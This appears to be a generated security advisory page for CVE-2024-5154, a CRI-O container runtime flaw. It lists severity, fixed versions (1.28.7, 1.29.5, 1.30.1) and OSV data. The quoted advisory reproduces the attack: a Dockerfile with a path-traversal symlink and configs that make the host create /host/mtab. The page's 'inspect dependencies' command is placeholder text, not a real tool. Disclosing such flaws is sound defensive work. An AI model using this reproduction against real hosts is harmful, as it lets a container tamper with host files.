CVE-2024-5154: Github.com/cri o/cri o Malicious Container Creates Symlink "mtab" Vulnerability

HIGH
Advisory Identifier: GHSA-j9hf-98c3-wrm8
CVSS 8.1
CWE-668 CWE-22
Published
Advisory Summary

CVE-2024-5154 is a HIGH (CVSS 8.1) malicious container creates symlink "mtab" vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Github.com/cri o/cri o libraries in the Go ecosystem. The issue involves malicious container creates symlink "mtab" on the host external. Remediation is available by upgrading affected packages to version 1.28.7, 1.29.5, 1.30.1.

CVE-2024-5154 at a Glance

CVE Identifier CVE-2024-5154
GHSA Identifier GHSA-j9hf-98c3-wrm8
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Github.com/cri o/cri o
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-5154

To remediate this vulnerability, upgrade all affected Github.com/cri o/cri o dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cri-o/cri-o fixed: 1.28.7
Upgrade github.com/cri-o/cri-o to 1.28.7
github.com/cri-o/cri-o fixed: 1.29.5
Upgrade github.com/cri-o/cri-o to 1.29.5
github.com/cri-o/cri-o fixed: 1.30.1
Upgrade github.com/cri-o/cri-o to 1.30.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cri-o/cri-o

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-5154, inspect your project dependencies for Github.com/cri o/cri o:

inspect dependencies for github.com/cri-o/cri-o

Analyze the terminal output to locate any version of Github.com/cri o/cri o in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.28.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Github.com/cri o/cri o, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_

CVE-2024-5154 Affected Github.com/cri o/cri o Versions

3 component(s)
Fixed Versions:
1.28.71.29.51.30.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cri-o/cri-o
Go
≥ 1.28.6
< 1.28.7
1.28.7
github.com/cri-o/cri-o
Go
≥ 1.29.4
< 1.29.5
1.29.5
github.com/cri-o/cri-o
Go
≥ 1.30.0
< 1.30.1
1.30.1

References

Frequently Asked Questions

What is CVE-2024-5154?
CVE-2024-5154 is a security vulnerability in Github.com/cri o/cri o involving malicious container creates symlink "mtab" on the host External under CWE-668: Exposure of Resource to Wrong Sphere.
Which Github.com/cri o/cri o versions are affected?
Affected versions include releases prior to 1.28.7, 1.29.5, 1.30.1 across affected packages: github.com/cri-o/cri-o.
What version fixes CVE-2024-5154?
Upgrading to 1.28.7, 1.29.5, 1.30.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cri-o/cri-o affected?
Yes, github.com/cri-o/cri-o is affected in releases prior to 1.28.7, 1.29.5, 1.30.1. Upgrade your dependency to 1.28.7, 1.29.5, 1.30.1 or later.
What is the CVSS score of CVE-2024-5154?
CVE-2024-5154 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2024-5154?
CVE-2024-5154 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check Go dependencies for CVE-2024-5154?
Run the dependency tree command: 'inspect dependencies for github.com/cri-o/cri-o'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j9hf-98c3-wrm8",
  "modified" : "2025-06-27T22:08:30Z",
  "published" : "2024-06-04T18:12:31Z",
  "aliases" : [ "CVE-2024-5154" ],
  "summary" : "malicious container creates symlink \"mtab\" on the host External",
  "details" : "### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.28.6"
      }, {
        "fixed" : "1.28.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.29.4"
      }, {
        "fixed" : "1.29.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.30.0"
      }, {
        "fixed" : "1.30.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-5154"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:10818"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:3676"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:3700"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4008"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4159"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4486"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2024-5154"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2280190"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cri-o/cri-o"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2919"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-668" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-04T18:12:31Z",
    "nvd_published_at" : "2024-06-12T09:15:19Z"
  }
}